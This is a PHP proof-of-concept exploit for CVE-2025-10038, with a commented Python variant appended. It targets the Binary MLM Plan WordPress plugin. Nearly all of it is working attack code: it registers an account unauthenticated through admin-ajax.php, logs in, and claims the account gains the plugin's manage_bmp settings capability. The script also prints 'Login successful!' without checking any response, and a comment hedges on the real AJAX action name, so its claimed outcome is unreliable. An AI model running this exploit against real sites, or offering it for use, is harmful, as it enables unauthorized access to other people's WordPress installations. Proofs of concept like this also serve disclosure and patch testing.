<?php
/**
* CVE-2025-10038 PoC - Binary MLM Plan Privilege Escalation
* This PoC demonstrates how an unauthenticated attacker can register
* and obtain manage_bmp capability through the plugin's registration form.
*/
// Target WordPress site URL
$target_url = 'https://target-wordpress-site.com';
// Step 1: Access the Binary MLM Plan registration page
$registration_page = $target_url . '/wp-admin/admin-ajax.php';
// Step 2: Prepare registration data
$registration_data = array(
'action' => 'bmp_user_registration', // or the actual AJAX action used by the plugin
'username' => 'attacker_user_' . rand(1000, 9999),
'email' => 'attacker' . rand(1000, 9999) . '@evil.com',
'password' => 'P@ssw0rd!2025',
'confirm_password' => 'P@ssw0rd!2025',
'first_name' => 'Test',
'last_name' => 'User',
'phone' => '1234567890',
);
// Step 3: Send registration request
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $registration_page);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($registration_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Content-Type: application/x-www-form-urlencoded',
'X-Requested-With: XMLHttpRequest'
));
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "Registration Response (HTTP $http_code):\n";
echo $response . "\n\n";
// Step 4: After successful registration, the attacker has bmp_user role
// with manage_bmp capability, allowing them to access plugin settings
// Step 5: Login with the newly created credentials
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $registration_data['username'],
'pwd' => $registration_data['password'],
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Content-Type: application/x-www-form-urlencoded'
));
$response = curl_exec($ch);
curl_close($ch);
echo "Login successful! The attacker now has manage_bmp capability.\n";
echo "They can now access plugin settings at: $target_url/wp-admin/admin.php?page=bmp-settings\n";
?>
# Alternative: Using Python with requests library
#
# import requests
#
# target = 'https://target-wordpress-site.com'
# session = requests.Session()
#
# # Register a new user through the plugin's form
# reg_data = {
# 'action': 'bmp_user_registration',
# 'username': 'attacker_test',
# 'email': '
[email protected]',
# 'password': 'SecurePass123!',
# }
#
# resp = session.post(f'{target}/wp-admin/admin-ajax.php', data=reg_data)
# print(f'Registration: {resp.text}')
#
# # Login with the new credentials
# login_data = {
# 'log': 'attacker_test',
# 'pwd': 'SecurePass123!',
# 'wp-submit': 'Log In',
# }
# resp = session.post(f'{target}/wp-login.php', data=login_data)
# print(f'Login response status: {resp.status_code}')